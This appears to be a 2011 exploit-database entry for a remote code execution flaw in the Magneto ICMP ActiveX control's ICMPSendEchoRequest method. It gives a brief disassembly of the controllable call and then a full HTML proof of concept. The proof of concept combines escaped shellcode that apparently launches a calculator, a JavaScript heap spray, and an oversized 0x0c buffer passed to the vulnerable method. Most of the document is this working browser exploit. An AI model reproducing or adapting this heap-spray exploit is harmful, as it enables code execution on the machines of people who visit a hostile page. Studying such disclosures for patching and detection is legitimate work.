ExploitFixes
Magneto ICMP ActiveX v4.0.0.20 ICMPSendEchoRequest Remote Code Execute 2011-05-27 10:15:03

Magneto ICMP ActiveX v4.0.0.20 ICMPSendEchoRequest Remote Code Execute
Date: 2011-5-27
Discovered by: boahat
vendor: http://www.magnetosoft.com/
Download: http://www.magnetosoft.com/downloads/skicmp_setup.exe

SKIcmp.ocx

Function ICMPSendEchoRequest (
ByVal bstrDestinationAddress As String
) As Long

.text:1000F012 mov edx, [ebx+8] // edx can be control
.text:1000F015 lea ecx, [esp+468h+String1]
.text:1000F019 push esi
.text:1000F01A push ecx
.text:1000F01B call edx // bomb...

[POC]

<html>
<body>
<object classid="clsid:3A86F1F2-4921-4C75-AF2C-A1AA241E12BA" id="target"></object>
<script>
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var bigblock = unescape("%u0c0c%u0c0c");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace)
bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000)
block = block+block+fillblock;

memory = new Array();
for (x=0; x<500; x++)
memory[x] = block + shellcode;

var buffer = '';
while (buffer.length < 6000)
buffer+="\x0c\x0c\x0c\x0c";
target.ICMPSendEchoRequest(buffer);
</script>
</body>
</html>